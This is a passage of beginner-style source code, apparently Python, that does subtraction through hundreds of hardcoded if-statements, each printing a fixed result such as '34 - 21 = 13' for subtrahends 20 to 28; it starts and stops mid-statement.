firstNum == 30 and sign == "-" and secondNum == 20 : print("30 - 20 = 10") if firstNum == 31 and sign == "-" and secondNum == 20 : print("31 - 20 = 11") if firstNum == 32 and sign == "-" and secondNum == 20 : print("32 - 20 = 12") if firstNum == 33 and sign == "-" and secondNum == 20 : print("33 - 20 = 13") if firstNum == 34 and sign == "-" and secondNum == 20 : print("34 - 20 = 14") if firstNum == 35 and sign == "-" and secondNum == 20 : print("35 - 20 = 15") if firstNum == 36 and sign == "-" and secondNum == 20 : print("36 - 20 = 16") if firstNum == 37 and sign == "-" and secondNum == 20 : print("37 - 20 = 17") if firstNum == 38 and sign == "-" and secondNum == 20 : print("38 - 20 = 18") if firstNum == 39 and sign == "-" and secondNum == 20 : print("39 - 20 = 19") if firstNum == 40 and sign == "-" and secondNum == 20 : print("40 - 20 = 20") if firstNum == 41 and sign == "-" and secondNum == 20 : print("41 - 20 = 21") if firstNum == 42 and sign == "-" and secondNum == 20 : print("42 - 20 = 22") if firstNum == 43 and sign == "-" and secondNum == 20 : print("43 - 20 = 23") if firstNum == 44 and sign == "-" and secondNum == 20 : print("44 - 20 = 24") if firstNum == 45 and sign == "-" and secondNum == 20 : print("45 - 20 = 25") if firstNum == 46 and sign == "-" and secondNum == 20 : print("46 - 20 = 26") if firstNum == 47 and sign == "-" and secondNum == 20 : print("47 - 20 = 27") if firstNum == 48 and sign == "-" and secondNum == 20 : print("48 - 20 = 28") if firstNum == 49 and sign == "-" and secondNum == 20 : print("49 - 20 = 29") if firstNum == 50 and sign == "-" and secondNum == 20 : print("50 - 20 = 30") if firstNum == 0 and sign == "-" and secondNum == 21 : print("0 - 21 = -21") if firstNum == 1 and sign == "-" and secondNum == 21 : print("1 - 21 = -20") if firstNum == 2 and sign == "-" and secondNum == 21 : print("2 - 21 = -19") if firstNum == 3 and sign == "-" and secondNum == 21 : print("3 - 21 = -18") if firstNum == 4 and sign == "-" and secondNum == 21 : print("4 - 21 = -17") if firstNum == 5 and sign == "-" and secondNum == 21 : print("5 - 21 = -16") if firstNum == 6 and sign == "-" and secondNum == 21 : print("6 - 21 = -15") if firstNum == 7 and sign == "-" and secondNum == 21 : print("7 - 21 = -14") if firstNum == 8 and sign == "-" and secondNum == 21 : print("8 - 21 = -13") if firstNum == 9 and sign == "-" and secondNum == 21 : print("9 - 21 = -12") if firstNum == 10 and sign == "-" and secondNum == 21 : print("10 - 21 = -11") if firstNum == 11 and sign == "-" and secondNum == 21 : print("11 - 21 = -10") if firstNum == 12 and sign == "-" and secondNum == 21 : print("12 - 21 = -9") if firstNum == 13 and sign == "-" and secondNum == 21 : print("13 - 21 = -8") if firstNum == 14 and sign == "-" and secondNum == 21 : print("14 - 21 = -7") if firstNum == 15 and sign == "-" and secondNum == 21 : print("15 - 21 = -6") if firstNum == 16 and sign == "-" and secondNum == 21 : print("16 - 21 = -5") if firstNum == 17 and sign == "-" and secondNum == 21 : print("17 - 21 = -4") if firstNum == 18 and sign == "-" and secondNum == 21 : print("18 - 21 = -3") if firstNum == 19 and sign == "-" and secondNum == 21 : print("19 - 21 = -2") if firstNum == 20 and sign == "-" and secondNum == 21 : print("20 - 21 = -1") if firstNum == 21 and sign == "-" and secondNum == 21 : print("21 - 21 = 0") if firstNum == 22 and sign == "-" and secondNum == 21 : print("22 - 21 = 1") if firstNum == 23 and sign == "-" and secondNum == 21 : print("23 - 21 = 2") if firstNum == 24 and sign == "-" and secondNum == 21 : print("24 - 21 = 3") if firstNum == 25 and sign == "-" and secondNum == 21 : print("25 - 21 = 4") if firstNum == 26 and sign == "-" and secondNum == 21 : print("26 - 21 = 5") if firstNum == 27 and sign == "-" and secondNum == 21 : print("27 - 21 = 6") if firstNum == 28 and sign == "-" and secondNum == 21 : print("28 - 21 = 7") if firstNum == 29 and sign == "-" and secondNum == 21 : print("29 - 21 = 8") if firstNum == 30 and sign == "-" and secondNum == 21 : print("30 - 21 = 9") if firstNum == 31 and sign == "-" and secondNum == 21 : print("31 - 21 = 10") if firstNum == 32 and sign == "-" and secondNum == 21 : print("32 - 21 = 11") if firstNum == 33 and sign == "-" and secondNum == 21 : print("33 - 21 = 12") if firstNum == 34 and sign == "-" and secondNum == 21 : print("34 - 21 = 13") if firstNum == 35 and sign == "-" and secondNum == 21 : print("35 - 21 = 14") if firstNum == 36 and sign == "-" and secondNum == 21 : print("36 - 21 = 15") if firstNum == 37 and sign == "-" and secondNum == 21 : print("37 - 21 = 16") if firstNum == 38 and sign == "-" and secondNum == 21 : print("38 - 21 = 17") if firstNum == 39 and sign == "-" and secondNum == 21 : print("39 - 21 = 18") if firstNum == 40 and sign == "-" and secondNum == 21 : print("40 - 21 = 19") if firstNum == 41 and sign == "-" and secondNum == 21 : print("41 - 21 = 20") if firstNum == 42 and sign == "-" and secondNum == 21 : print("42 - 21 = 21") if firstNum == 43 and sign == "-" and secondNum == 21 : print("43 - 21 = 22") if firstNum == 44 and sign == "-" and secondNum == 21 : print("44 - 21 = 23") if firstNum == 45 and sign == "-" and secondNum == 21 : print("45 - 21 = 24") if firstNum == 46 and sign == "-" and secondNum == 21 : print("46 - 21 = 25") if firstNum == 47 and sign == "-" and secondNum == 21 : print("47 - 21 = 26") if firstNum == 48 and sign == "-" and secondNum == 21 : print("48 - 21 = 27") if firstNum == 49 and sign == "-" and secondNum == 21 : print("49 - 21 = 28") if firstNum == 50 and sign == "-" and secondNum == 21 : print("50 - 21 = 29") if firstNum == 0 and sign == "-" and secondNum == 22 : print("0 - 22 = -22") if firstNum == 1 and sign == "-" and secondNum == 22 : print("1 - 22 = -21") if firstNum == 2 and sign == "-" and secondNum == 22 : print("2 - 22 = -20") if firstNum == 3 and sign == "-" and secondNum == 22 : print("3 - 22 = -19") if firstNum == 4 and sign == "-" and secondNum == 22 : print("4 - 22 = -18") if firstNum == 5 and sign == "-" and secondNum == 22 : print("5 - 22 = -17") if firstNum == 6 and sign == "-" and secondNum == 22 : print("6 - 22 = -16") if firstNum == 7 and sign == "-" and secondNum == 22 : print("7 - 22 = -15") if firstNum == 8 and sign == "-" and secondNum == 22 : print("8 - 22 = -14") if firstNum == 9 and sign == "-" and secondNum == 22 : print("9 - 22 = -13") if firstNum == 10 and sign == "-" and secondNum == 22 : print("10 - 22 = -12") if firstNum == 11 and sign == "-" and secondNum == 22 : print("11 - 22 = -11") if firstNum == 12 and sign == "-" and secondNum == 22 : print("12 - 22 = -10") if firstNum == 13 and sign == "-" and secondNum == 22 : print("13 - 22 = -9") if firstNum == 14 and sign == "-" and secondNum == 22 : print("14 - 22 = -8") if firstNum == 15 and sign == "-" and secondNum == 22 : print("15 - 22 = -7") if firstNum == 16 and sign == "-" and secondNum == 22 : print("16 - 22 = -6") if firstNum == 17 and sign == "-" and secondNum == 22 : print("17 - 22 = -5") if firstNum == 18 and sign == "-" and secondNum == 22 : print("18 - 22 = -4") if firstNum == 19 and sign == "-" and secondNum == 22 : print("19 - 22 = -3") if firstNum == 20 and sign == "-" and secondNum == 22 : print("20 - 22 = -2") if firstNum == 21 and sign == "-" and secondNum == 22 : print("21 - 22 = -1") if firstNum == 22 and sign == "-" and secondNum == 22 : print("22 - 22 = 0") if firstNum == 23 and sign == "-" and secondNum == 22 : print("23 - 22 = 1") if firstNum == 24 and sign == "-" and secondNum == 22 : print("24 - 22 = 2") if firstNum == 25 and sign == "-" and secondNum == 22 : print("25 - 22 = 3") if firstNum == 26 and sign == "-" and secondNum == 22 : print("26 - 22 = 4") if firstNum == 27 and sign == "-" and secondNum == 22 : print("27 - 22 = 5") if firstNum == 28 and sign == "-" and secondNum == 22 : print("28 - 22 = 6") if firstNum == 29 and sign == "-" and secondNum == 22 : print("29 - 22 = 7") if firstNum == 30 and sign == "-" and secondNum == 22 : print("30 - 22 = 8") if firstNum == 31 and sign == "-" and secondNum == 22 : print("31 - 22 = 9") if firstNum == 32 and sign == "-" and secondNum == 22 : print("32 - 22 = 10") if firstNum == 33 and sign == "-" and secondNum == 22 : print("33 - 22 = 11") if firstNum == 34 and sign == "-" and secondNum == 22 : print("34 - 22 = 12") if firstNum == 35 and sign == "-" and secondNum == 22 : print("35 - 22 = 13") if firstNum == 36 and sign == "-" and secondNum == 22 : print("36 - 22 = 14") if firstNum == 37 and sign == "-" and secondNum == 22 : print("37 - 22 = 15") if firstNum == 38 and sign == "-" and secondNum == 22 : print("38 - 22 = 16") if firstNum == 39 and sign == "-" and secondNum == 22 : print("39 - 22 = 17") if firstNum == 40 and sign == "-" and secondNum == 22 : print("40 - 22 = 18") if firstNum == 41 and sign == "-" and secondNum == 22 : print("41 - 22 = 19") if firstNum == 42 and sign == "-" and secondNum == 22 : print("42 - 22 = 20") if firstNum == 43 and sign == "-" and secondNum == 22 : print("43 - 22 = 21") if firstNum == 44 and sign == "-" and secondNum == 22 : print("44 - 22 = 22") if firstNum == 45 and sign == "-" and secondNum == 22 : print("45 - 22 = 23") if firstNum == 46 and sign == "-" and secondNum == 22 : print("46 - 22 = 24") if firstNum == 47 and sign == "-" and secondNum == 22 : print("47 - 22 = 25") if firstNum == 48 and sign == "-" and secondNum == 22 : print("48 - 22 = 26") if firstNum == 49 and sign == "-" and secondNum == 22 : print("49 - 22 = 27") if firstNum == 50 and sign == "-" and secondNum == 22 : print("50 - 22 = 28") if firstNum == 0 and sign == "-" and secondNum == 23 : print("0 - 23 = -23") if firstNum == 1 and sign == "-" and secondNum == 23 : print("1 - 23 = -22") if firstNum == 2 and sign == "-" and secondNum == 23 : print("2 - 23 = -21") if firstNum == 3 and sign == "-" and secondNum == 23 : print("3 - 23 = -20") if firstNum == 4 and sign == "-" and secondNum == 23 : print("4 - 23 = -19") if firstNum == 5 and sign == "-" and secondNum == 23 : print("5 - 23 = -18") if firstNum == 6 and sign == "-" and secondNum == 23 : print("6 - 23 = -17") if firstNum == 7 and sign == "-" and secondNum == 23 : print("7 - 23 = -16") if firstNum == 8 and sign == "-" and secondNum == 23 : print("8 - 23 = -15") if firstNum == 9 and sign == "-" and secondNum == 23 : print("9 - 23 = -14") if firstNum == 10 and sign == "-" and secondNum == 23 : print("10 - 23 = -13") if firstNum == 11 and sign == "-" and secondNum == 23 : print("11 - 23 = -12") if firstNum == 12 and sign == "-" and secondNum == 23 : print("12 - 23 = -11") if firstNum == 13 and sign == "-" and secondNum == 23 : print("13 - 23 = -10") if firstNum == 14 and sign == "-" and secondNum == 23 : print("14 - 23 = -9") if firstNum == 15 and sign == "-" and secondNum == 23 : print("15 - 23 = -8") if firstNum == 16 and sign == "-" and secondNum == 23 : print("16 - 23 = -7") if firstNum == 17 and sign == "-" and secondNum == 23 : print("17 - 23 = -6") if firstNum == 18 and sign == "-" and secondNum == 23 : print("18 - 23 = -5") if firstNum == 19 and sign == "-" and secondNum == 23 : print("19 - 23 = -4") if firstNum == 20 and sign == "-" and secondNum == 23 : print("20 - 23 = -3") if firstNum == 21 and sign == "-" and secondNum == 23 : print("21 - 23 = -2") if firstNum == 22 and sign == "-" and secondNum == 23 : print("22 - 23 = -1") if firstNum == 23 and sign == "-" and secondNum == 23 : print("23 - 23 = 0") if firstNum == 24 and sign == "-" and secondNum == 23 : print("24 - 23 = 1") if firstNum == 25 and sign == "-" and secondNum == 23 : print("25 - 23 = 2") if firstNum == 26 and sign == "-" and secondNum == 23 : print("26 - 23 = 3") if firstNum == 27 and sign == "-" and secondNum == 23 : print("27 - 23 = 4") if firstNum == 28 and sign == "-" and secondNum == 23 : print("28 - 23 = 5") if firstNum == 29 and sign == "-" and secondNum == 23 : print("29 - 23 = 6") if firstNum == 30 and sign == "-" and secondNum == 23 : print("30 - 23 = 7") if firstNum == 31 and sign == "-" and secondNum == 23 : print("31 - 23 = 8") if firstNum == 32 and sign == "-" and secondNum == 23 : print("32 - 23 = 9") if firstNum == 33 and sign == "-" and secondNum == 23 : print("33 - 23 = 10") if firstNum == 34 and sign == "-" and secondNum == 23 : print("34 - 23 = 11") if firstNum == 35 and sign == "-" and secondNum == 23 : print("35 - 23 = 12") if firstNum == 36 and sign == "-" and secondNum == 23 : print("36 - 23 = 13") if firstNum == 37 and sign == "-" and secondNum == 23 : print("37 - 23 = 14") if firstNum == 38 and sign == "-" and secondNum == 23 : print("38 - 23 = 15") if firstNum == 39 and sign == "-" and secondNum == 23 : print("39 - 23 = 16") if firstNum == 40 and sign == "-" and secondNum == 23 : print("40 - 23 = 17") if firstNum == 41 and sign == "-" and secondNum == 23 : print("41 - 23 = 18") if firstNum == 42 and sign == "-" and secondNum == 23 : print("42 - 23 = 19") if firstNum == 43 and sign == "-" and secondNum == 23 : print("43 - 23 = 20") if firstNum == 44 and sign == "-" and secondNum == 23 : print("44 - 23 = 21") if firstNum == 45 and sign == "-" and secondNum == 23 : print("45 - 23 = 22") if firstNum == 46 and sign == "-" and secondNum == 23 : print("46 - 23 = 23") if firstNum == 47 and sign == "-" and secondNum == 23 : print("47 - 23 = 24") if firstNum == 48 and sign == "-" and secondNum == 23 : print("48 - 23 = 25") if firstNum == 49 and sign == "-" and secondNum == 23 : print("49 - 23 = 26") if firstNum == 50 and sign == "-" and secondNum == 23 : print("50 - 23 = 27") if firstNum == 0 and sign == "-" and secondNum == 24 : print("0 - 24 = -24") if firstNum == 1 and sign == "-" and secondNum == 24 : print("1 - 24 = -23") if firstNum == 2 and sign == "-" and secondNum == 24 : print("2 - 24 = -22") if firstNum == 3 and sign == "-" and secondNum == 24 : print("3 - 24 = -21") if firstNum == 4 and sign == "-" and secondNum == 24 : print("4 - 24 = -20") if firstNum == 5 and sign == "-" and secondNum == 24 : print("5 - 24 = -19") if firstNum == 6 and sign == "-" and secondNum == 24 : print("6 - 24 = -18") if firstNum == 7 and sign == "-" and secondNum == 24 : print("7 - 24 = -17") if firstNum == 8 and sign == "-" and secondNum == 24 : print("8 - 24 = -16") if firstNum == 9 and sign == "-" and secondNum == 24 : print("9 - 24 = -15") if firstNum == 10 and sign == "-" and secondNum == 24 : print("10 - 24 = -14") if firstNum == 11 and sign == "-" and secondNum == 24 : print("11 - 24 = -13") if firstNum == 12 and sign == "-" and secondNum == 24 : print("12 - 24 = -12") if firstNum == 13 and sign == "-" and secondNum == 24 : print("13 - 24 = -11") if firstNum == 14 and sign == "-" and secondNum == 24 : print("14 - 24 = -10") if firstNum == 15 and sign == "-" and secondNum == 24 : print("15 - 24 = -9") if firstNum == 16 and sign == "-" and secondNum == 24 : print("16 - 24 = -8") if firstNum == 17 and sign == "-" and secondNum == 24 : print("17 - 24 = -7") if firstNum == 18 and sign == "-" and secondNum == 24 : print("18 - 24 = -6") if firstNum == 19 and sign == "-" and secondNum == 24 : print("19 - 24 = -5") if firstNum == 20 and sign == "-" and secondNum == 24 : print("20 - 24 = -4") if firstNum == 21 and sign == "-" and secondNum == 24 : print("21 - 24 = -3") if firstNum == 22 and sign == "-" and secondNum == 24 : print("22 - 24 = -2") if firstNum == 23 and sign == "-" and secondNum == 24 : print("23 - 24 = -1") if firstNum == 24 and sign == "-" and secondNum == 24 : print("24 - 24 = 0") if firstNum == 25 and sign == "-" and secondNum == 24 : print("25 - 24 = 1") if firstNum == 26 and sign == "-" and secondNum == 24 : print("26 - 24 = 2") if firstNum == 27 and sign == "-" and secondNum == 24 : print("27 - 24 = 3") if firstNum == 28 and sign == "-" and secondNum == 24 : print("28 - 24 = 4") if firstNum == 29 and sign == "-" and secondNum == 24 : print("29 - 24 = 5") if firstNum == 30 and sign == "-" and secondNum == 24 : print("30 - 24 = 6") if firstNum == 31 and sign == "-" and secondNum == 24 : print("31 - 24 = 7") if firstNum == 32 and sign == "-" and secondNum == 24 : print("32 - 24 = 8") if firstNum == 33 and sign == "-" and secondNum == 24 : print("33 - 24 = 9") if firstNum == 34 and sign == "-" and secondNum == 24 : print("34 - 24 = 10") if firstNum == 35 and sign == "-" and secondNum == 24 : print("35 - 24 = 11") if firstNum == 36 and sign == "-" and secondNum == 24 : print("36 - 24 = 12") if firstNum == 37 and sign == "-" and secondNum == 24 : print("37 - 24 = 13") if firstNum == 38 and sign == "-" and secondNum == 24 : print("38 - 24 = 14") if firstNum == 39 and sign == "-" and secondNum == 24 : print("39 - 24 = 15") if firstNum == 40 and sign == "-" and secondNum == 24 : print("40 - 24 = 16") if firstNum == 41 and sign == "-" and secondNum == 24 : print("41 - 24 = 17") if firstNum == 42 and sign == "-" and secondNum == 24 : print("42 - 24 = 18") if firstNum == 43 and sign == "-" and secondNum == 24 : print("43 - 24 = 19") if firstNum == 44 and sign == "-" and secondNum == 24 : print("44 - 24 = 20") if firstNum == 45 and sign == "-" and secondNum == 24 : print("45 - 24 = 21") if firstNum == 46 and sign == "-" and secondNum == 24 : print("46 - 24 = 22") if firstNum == 47 and sign == "-" and secondNum == 24 : print("47 - 24 = 23") if firstNum == 48 and sign == "-" and secondNum == 24 : print("48 - 24 = 24") if firstNum == 49 and sign == "-" and secondNum == 24 : print("49 - 24 = 25") if firstNum == 50 and sign == "-" and secondNum == 24 : print("50 - 24 = 26") if firstNum == 0 and sign == "-" and secondNum == 25 : print("0 - 25 = -25") if firstNum == 1 and sign == "-" and secondNum == 25 : print("1 - 25 = -24") if firstNum == 2 and sign == "-" and secondNum == 25 : print("2 - 25 = -23") if firstNum == 3 and sign == "-" and secondNum == 25 : print("3 - 25 = -22") if firstNum == 4 and sign == "-" and secondNum == 25 : print("4 - 25 = -21") if firstNum == 5 and sign == "-" and secondNum == 25 : print("5 - 25 = -20") if firstNum == 6 and sign == "-" and secondNum == 25 : print("6 - 25 = -19") if firstNum == 7 and sign == "-" and secondNum == 25 : print("7 - 25 = -18") if firstNum == 8 and sign == "-" and secondNum == 25 : print("8 - 25 = -17") if firstNum == 9 and sign == "-" and secondNum == 25 : print("9 - 25 = -16") if firstNum == 10 and sign == "-" and secondNum == 25 : print("10 - 25 = -15") if firstNum == 11 and sign == "-" and secondNum == 25 : print("11 - 25 = -14") if firstNum == 12 and sign == "-" and secondNum == 25 : print("12 - 25 = -13") if firstNum == 13 and sign == "-" and secondNum == 25 : print("13 - 25 = -12") if firstNum == 14 and sign == "-" and secondNum == 25 : print("14 - 25 = -11") if firstNum == 15 and sign == "-" and secondNum == 25 : print("15 - 25 = -10") if firstNum == 16 and sign == "-" and secondNum == 25 : print("16 - 25 = -9") if firstNum == 17 and sign == "-" and secondNum == 25 : print("17 - 25 = -8") if firstNum == 18 and sign == "-" and secondNum == 25 : print("18 - 25 = -7") if firstNum == 19 and sign == "-" and secondNum == 25 : print("19 - 25 = -6") if firstNum == 20 and sign == "-" and secondNum == 25 : print("20 - 25 = -5") if firstNum == 21 and sign == "-" and secondNum == 25 : print("21 - 25 = -4") if firstNum == 22 and sign == "-" and secondNum == 25 : print("22 - 25 = -3") if firstNum == 23 and sign == "-" and secondNum == 25 : print("23 - 25 = -2") if firstNum == 24 and sign == "-" and secondNum == 25 : print("24 - 25 = -1") if firstNum == 25 and sign == "-" and secondNum == 25 : print("25 - 25 = 0") if firstNum == 26 and sign == "-" and secondNum == 25 : print("26 - 25 = 1") if firstNum == 27 and sign == "-" and secondNum == 25 : print("27 - 25 = 2") if firstNum == 28 and sign == "-" and secondNum == 25 : print("28 - 25 = 3") if firstNum == 29 and sign == "-" and secondNum == 25 : print("29 - 25 = 4") if firstNum == 30 and sign == "-" and secondNum == 25 : print("30 - 25 = 5") if firstNum == 31 and sign == "-" and secondNum == 25 : print("31 - 25 = 6") if firstNum == 32 and sign == "-" and secondNum == 25 : print("32 - 25 = 7") if firstNum == 33 and sign == "-" and secondNum == 25 : print("33 - 25 = 8") if firstNum == 34 and sign == "-" and secondNum == 25 : print("34 - 25 = 9") if firstNum == 35 and sign == "-" and secondNum == 25 : print("35 - 25 = 10") if firstNum == 36 and sign == "-" and secondNum == 25 : print("36 - 25 = 11") if firstNum == 37 and sign == "-" and secondNum == 25 : print("37 - 25 = 12") if firstNum == 38 and sign == "-" and secondNum == 25 : print("38 - 25 = 13") if firstNum == 39 and sign == "-" and secondNum == 25 : print("39 - 25 = 14") if firstNum == 40 and sign == "-" and secondNum == 25 : print("40 - 25 = 15") if firstNum == 41 and sign == "-" and secondNum == 25 : print("41 - 25 = 16") if firstNum == 42 and sign == "-" and secondNum == 25 : print("42 - 25 = 17") if firstNum == 43 and sign == "-" and secondNum == 25 : print("43 - 25 = 18") if firstNum == 44 and sign == "-" and secondNum == 25 : print("44 - 25 = 19") if firstNum == 45 and sign == "-" and secondNum == 25 : print("45 - 25 = 20") if firstNum == 46 and sign == "-" and secondNum == 25 : print("46 - 25 = 21") if firstNum == 47 and sign == "-" and secondNum == 25 : print("47 - 25 = 22") if firstNum == 48 and sign == "-" and secondNum == 25 : print("48 - 25 = 23") if firstNum == 49 and sign == "-" and secondNum == 25 : print("49 - 25 = 24") if firstNum == 50 and sign == "-" and secondNum == 25 : print("50 - 25 = 25") if firstNum == 0 and sign == "-" and secondNum == 26 : print("0 - 26 = -26") if firstNum == 1 and sign == "-" and secondNum == 26 : print("1 - 26 = -25") if firstNum == 2 and sign == "-" and secondNum == 26 : print("2 - 26 = -24") if firstNum == 3 and sign == "-" and secondNum == 26 : print("3 - 26 = -23") if firstNum == 4 and sign == "-" and secondNum == 26 : print("4 - 26 = -22") if firstNum == 5 and sign == "-" and secondNum == 26 : print("5 - 26 = -21") if firstNum == 6 and sign == "-" and secondNum == 26 : print("6 - 26 = -20") if firstNum == 7 and sign == "-" and secondNum == 26 : print("7 - 26 = -19") if firstNum == 8 and sign == "-" and secondNum == 26 : print("8 - 26 = -18") if firstNum == 9 and sign == "-" and secondNum == 26 : print("9 - 26 = -17") if firstNum == 10 and sign == "-" and secondNum == 26 : print("10 - 26 = -16") if firstNum == 11 and sign == "-" and secondNum == 26 : print("11 - 26 = -15") if firstNum == 12 and sign == "-" and secondNum == 26 : print("12 - 26 = -14") if firstNum == 13 and sign == "-" and secondNum == 26 : print("13 - 26 = -13") if firstNum == 14 and sign == "-" and secondNum == 26 : print("14 - 26 = -12") if firstNum == 15 and sign == "-" and secondNum == 26 : print("15 - 26 = -11") if firstNum == 16 and sign == "-" and secondNum == 26 : print("16 - 26 = -10") if firstNum == 17 and sign == "-" and secondNum == 26 : print("17 - 26 = -9") if firstNum == 18 and sign == "-" and secondNum == 26 : print("18 - 26 = -8") if firstNum == 19 and sign == "-" and secondNum == 26 : print("19 - 26 = -7") if firstNum == 20 and sign == "-" and secondNum == 26 : print("20 - 26 = -6") if firstNum == 21 and sign == "-" and secondNum == 26 : print("21 - 26 = -5") if firstNum == 22 and sign == "-" and secondNum == 26 : print("22 - 26 = -4") if firstNum == 23 and sign == "-" and secondNum == 26 : print("23 - 26 = -3") if firstNum == 24 and sign == "-" and secondNum == 26 : print("24 - 26 = -2") if firstNum == 25 and sign == "-" and secondNum == 26 : print("25 - 26 = -1") if firstNum == 26 and sign == "-" and secondNum == 26 : print("26 - 26 = 0") if firstNum == 27 and sign == "-" and secondNum == 26 : print("27 - 26 = 1") if firstNum == 28 and sign == "-" and secondNum == 26 : print("28 - 26 = 2") if firstNum == 29 and sign == "-" and secondNum == 26 : print("29 - 26 = 3") if firstNum == 30 and sign == "-" and secondNum == 26 : print("30 - 26 = 4") if firstNum == 31 and sign == "-" and secondNum == 26 : print("31 - 26 = 5") if firstNum == 32 and sign == "-" and secondNum == 26 : print("32 - 26 = 6") if firstNum == 33 and sign == "-" and secondNum == 26 : print("33 - 26 = 7") if firstNum == 34 and sign == "-" and secondNum == 26 : print("34 - 26 = 8") if firstNum == 35 and sign == "-" and secondNum == 26 : print("35 - 26 = 9") if firstNum == 36 and sign == "-" and secondNum == 26 : print("36 - 26 = 10") if firstNum == 37 and sign == "-" and secondNum == 26 : print("37 - 26 = 11") if firstNum == 38 and sign == "-" and secondNum == 26 : print("38 - 26 = 12") if firstNum == 39 and sign == "-" and secondNum == 26 : print("39 - 26 = 13") if firstNum == 40 and sign == "-" and secondNum == 26 : print("40 - 26 = 14") if firstNum == 41 and sign == "-" and secondNum == 26 : print("41 - 26 = 15") if firstNum == 42 and sign == "-" and secondNum == 26 : print("42 - 26 = 16") if firstNum == 43 and sign == "-" and secondNum == 26 : print("43 - 26 = 17") if firstNum == 44 and sign == "-" and secondNum == 26 : print("44 - 26 = 18") if firstNum == 45 and sign == "-" and secondNum == 26 : print("45 - 26 = 19") if firstNum == 46 and sign == "-" and secondNum == 26 : print("46 - 26 = 20") if firstNum == 47 and sign == "-" and secondNum == 26 : print("47 - 26 = 21") if firstNum == 48 and sign == "-" and secondNum == 26 : print("48 - 26 = 22") if firstNum == 49 and sign == "-" and secondNum == 26 : print("49 - 26 = 23") if firstNum == 50 and sign == "-" and secondNum == 26 : print("50 - 26 = 24") if firstNum == 0 and sign == "-" and secondNum == 27 : print("0 - 27 = -27") if firstNum == 1 and sign == "-" and secondNum == 27 : print("1 - 27 = -26") if firstNum == 2 and sign == "-" and secondNum == 27 : print("2 - 27 = -25") if firstNum == 3 and sign == "-" and secondNum == 27 : print("3 - 27 = -24") if firstNum == 4 and sign == "-" and secondNum == 27 : print("4 - 27 = -23") if firstNum == 5 and sign == "-" and secondNum == 27 : print("5 - 27 = -22") if firstNum == 6 and sign == "-" and secondNum == 27 : print("6 - 27 = -21") if firstNum == 7 and sign == "-" and secondNum == 27 : print("7 - 27 = -20") if firstNum == 8 and sign == "-" and secondNum == 27 : print("8 - 27 = -19") if firstNum == 9 and sign == "-" and secondNum == 27 : print("9 - 27 = -18") if firstNum == 10 and sign == "-" and secondNum == 27 : print("10 - 27 = -17") if firstNum == 11 and sign == "-" and secondNum == 27 : print("11 - 27 = -16") if firstNum == 12 and sign == "-" and secondNum == 27 : print("12 - 27 = -15") if firstNum == 13 and sign == "-" and secondNum == 27 : print("13 - 27 = -14") if firstNum == 14 and sign == "-" and secondNum == 27 : print("14 - 27 = -13") if firstNum == 15 and sign == "-" and secondNum == 27 : print("15 - 27 = -12") if firstNum == 16 and sign == "-" and secondNum == 27 : print("16 - 27 = -11") if firstNum == 17 and sign == "-" and secondNum == 27 : print("17 - 27 = -10") if firstNum == 18 and sign == "-" and secondNum == 27 : print("18 - 27 = -9") if firstNum == 19 and sign == "-" and secondNum == 27 : print("19 - 27 = -8") if firstNum == 20 and sign == "-" and secondNum == 27 : print("20 - 27 = -7") if firstNum == 21 and sign == "-" and secondNum == 27 : print("21 - 27 = -6") if firstNum == 22 and sign == "-" and secondNum == 27 : print("22 - 27 = -5") if firstNum == 23 and sign == "-" and secondNum == 27 : print("23 - 27 = -4") if firstNum == 24 and sign == "-" and secondNum == 27 : print("24 - 27 = -3") if firstNum == 25 and sign == "-" and secondNum == 27 : print("25 - 27 = -2") if firstNum == 26 and sign == "-" and secondNum == 27 : print("26 - 27 = -1") if firstNum == 27 and sign == "-" and secondNum == 27 : print("27 - 27 = 0") if firstNum == 28 and sign == "-" and secondNum == 27 : print("28 - 27 = 1") if firstNum == 29 and sign == "-" and secondNum == 27 : print("29 - 27 = 2") if firstNum == 30 and sign == "-" and secondNum == 27 : print("30 - 27 = 3") if firstNum == 31 and sign == "-" and secondNum == 27 : print("31 - 27 = 4") if firstNum == 32 and sign == "-" and secondNum == 27 : print("32 - 27 = 5") if firstNum == 33 and sign == "-" and secondNum == 27 : print("33 - 27 = 6") if firstNum == 34 and sign == "-" and secondNum == 27 : print("34 - 27 = 7") if firstNum == 35 and sign == "-" and secondNum == 27 : print("35 - 27 = 8") if firstNum == 36 and sign == "-" and secondNum == 27 : print("36 - 27 = 9") if firstNum == 37 and sign == "-" and secondNum == 27 : print("37 - 27 = 10") if firstNum == 38 and sign == "-" and secondNum == 27 : print("38 - 27 = 11") if firstNum == 39 and sign == "-" and secondNum == 27 : print("39 - 27 = 12") if firstNum == 40 and sign == "-" and secondNum == 27 : print("40 - 27 = 13") if firstNum == 41 and sign == "-" and secondNum == 27 : print("41 - 27 = 14") if firstNum == 42 and sign == "-" and secondNum == 27 : print("42 - 27 = 15") if firstNum == 43 and sign == "-" and secondNum == 27 : print("43 - 27 = 16") if firstNum == 44 and sign == "-" and secondNum == 27 : print("44 - 27 = 17") if firstNum == 45 and sign == "-" and secondNum == 27 : print("45 - 27 = 18") if firstNum == 46 and sign == "-" and secondNum == 27 : print("46 - 27 = 19") if firstNum == 47 and sign == "-" and secondNum == 27 : print("47 - 27 = 20") if firstNum == 48 and sign == "-" and secondNum == 27 : print("48 - 27 = 21") if firstNum == 49 and sign == "-" and secondNum == 27 : print("49 - 27 = 22") if firstNum == 50 and sign == "-" and secondNum == 27 : print("50 - 27 = 23") if firstNum == 0 and sign == "-" and secondNum == 28 : print("0 - 28 = -28") if firstNum == 1 and sign == "-" and secondNum == 28 : print("1 - 28 = -27") if firstNum == 2 and sign == "-" and secondNum == 28 : print("2 - 28 = -26") if firstNum == 3 and sign == "-" and secondNum == 28 : print("3 - 28 = -25") if firstNum == 4 and sign == "-" and secondNum == 28 : print("4 - 28 = -24") if firstNum == 5 and sign == "-" and secondNum == 28 : print("5 - 28 = -23") if firstNum == 6 and sign == "-" and secondNum == 28 : print("6 - 28 = -22") if firstNum == 7 and sign == "-" and secondNum == 28 : print("7 - 28 = -21") if firstNum == 8 and sign == "-" and secondNum == 28 : print("8 - 28 = -20") if firstNum == 9 and sign == "-" and secondNum == 28 : print("9 - 28 = -19") if firstNum == 10 and sign == "-" and secondNum == 28 : print("10 - 28 = -18") if firstNum == 11 and sign == "-" and secondNum == 28 : print("11 - 28 = -17") if firstNum == 12 and sign == "-" and secondNum == 28 : print("12 - 28 = -16") if firstNum == 13 and sign == "-" and secondNum == 28 : print("13 - 28 = -15") if firstNum == 14 and sign == "-" and secondNum == 28 : print("14 - 28 = -14") if firstNum == 15 and sign == "-" and secondNum == 28 : print("15 - 28 = -13") if firstNum == 16 and sign == "-" and secondNum == 28 : 